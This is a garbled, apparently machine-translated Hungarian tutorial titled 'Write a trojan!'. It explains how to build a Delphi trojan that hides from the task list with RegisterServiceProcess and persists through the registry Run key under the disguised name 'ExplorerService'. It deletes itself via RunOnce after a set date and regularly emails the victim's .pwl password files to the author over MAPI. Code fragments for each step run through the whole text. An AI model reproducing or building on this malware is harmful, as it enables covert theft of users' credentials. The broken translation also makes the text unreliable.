Írj egy trójai!
Írj egy trójai!
Trójaiak, trójaiak, trójaiak. írjuk, valójában nagyon egyszerű, ha természetesen pontosan tudja, mit kell írni :-). Ezért először kell fejleszteni a koncepció, program, terv, amely szerint fog működni a trójaiak és az egyetlen, aki használni :-). Írjunk egy egyszerű troyanchik amely érintkezik a számítógép letétbe baggla (skót folklór - ez a kis lény, hogy segítsen egy ember a házban, hogy van valami, mint a mi házak), és például minden hónapban rendszeresen küld emylnoy mail felhasználói fájlt dat. (Végrehajtás% user% .pwl bízom az olvasó -, hogy remake / kidolgozás könnyű lesz). Hogy pontos legyek, és mi békességünk, aki csendesen visszavonul a autóbalesetben Az LMD, mondjuk, egy pár hónapos munka (azaz két vagy három „mail listservs”) :-).
Felírom Delphi, hiszen gyakorlatilag a legegyszerűbb és leginkább érthető nyelven a kezdő kódoló. És egy egyszerű ember, aki kellő tapasztalattal rendelkezik a számítógép, itt minden nagyon átlátszó a megértést.
Összehúzódások, delírium, eszméletvesztés
Az első dolog. Nem, nem sík :-). Az első lépés az, hogy leszegez összes ablak újonnan létrehozott (a File | New Application) projekt Delphi, tedd beleértve a fő formája. A projekt nem kell feltenni :-). Hogy mi marad, akkor piszkálni „a szürke lényeket hosszú farok” a Nézet | Project Source. Körülbelül ez a következőképpen néz ki:
Minden, ami vonatkozik a bejelentés, akkor eltávolíthatja - trójaiak kell csendes, így mindenféle pop-up ablakok és a tálca gombjai nem szükséges. Meg kell távolítani még a sort, hogy ne húzza a felesleges ikonokat és más Labuda, így nehéz lógni Delphi. Forms is törlésre kerül, mivel a formák nincs :-). De meg kell csatlakozni egy pár más modulok, amelyek ténylegesen részt (!):
Windows // itt leírni szinte az összes dokumentált jelentések és
// függvénykönyvtárába Vindovz
Registry, // ez a modul, hogy működjön együtt a rendszerleíró adatbázis
MAPI // és ez -, hogy küldeni és fogadni e-maileket
// és nem csak. De mi csak küld ;-)
SysUtils; // támogatása könyvtár - hasznos funkciók
// string és a dátum / idő.
Mielőtt folytassa a létrehozását levelezési :-), hogy megbizonyosodjon arról, hogy minden rendben lesz teljesen láthatatlan. Természetesen a villogó fények a modem nem elrejteni, de minden más nélkül meg lehet forgatni a zaj és a por. A panel trójai problémák nem gyullad ki, mert nem egy fő ablakban, és ennek megfelelően nincs hely, hogy váltani a fókuszt. De a ctrl + alt + del, azaz a lista az összes olyan feladatot fog ragyogni - és hogyan! De ez a probléma egyszerűen megoldható - elég mintha ártatlan skrinsaverom hogy Vindovz nem mutatta ezen a listán. Ehhez használja a speciális funkciót RegisterServiceProcess. Sajnos, ez a funkció nem a szabványban leírt modulok Delphi, így van, hogy írja le, hogy a saját, és hozzon létre egy megfelelő eljárás hívás:
eljárás RegisterServiceProcess; külső 'kernel32.dll' name 'RegisterServiceProcess';
eljárás elrejtése; szerelő;
Kijöttem. Élő. A leadott szavazatok.
Az általunk használt tárgy TRegistry erre a célra:
ha OpenKey (SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run ", True), akkor
ha Str <> ParamStr (0), majd WriteString ( 'ExplorerService', ParamStr (0));
Ezen túlmenően, írunk és DateResolve DateExpiration - az az időpont, amely után meg kell csökkenteni csak szögezték a hasított előtte. De hogyan kell csinálni, ha nem vindovz hozzáférést (törölni vagy írás) a fájl, amelyből a futás? Akkor nagyban torzulhat különböző paraméterekkel, vagy hozzon létre BATniki, de ebben az esetben sokkal könnyebb megtenni:
ha Xapakipi majd
WriteString ( 'LMD', 'del „' + ParamStr (0) + '' ');
Ez csak, hogy az eltávolítása a saját fájlt a RunOnce - sor után automatikusan törlődnek a rendszer. És mégis - a felhasználó nem is tudja soha, valamilyen oknál fogva megfordult egy pár órát Ineta kevesebb, mint a normál.
Ahhoz, hogy ismét nem világít (a felhasználó smart :-P már elment), akkor gyorsan ez egy nap, ha nem kell küldeni semmit:
ha nem küldése, majd a Kilépés;
ha MAPILogon (0, nulla, nulla, 0, 0, @Handle) = 0, akkor
lpszNoteText: = „üzenetek küldését. bejelentési rendszer v.01 | „;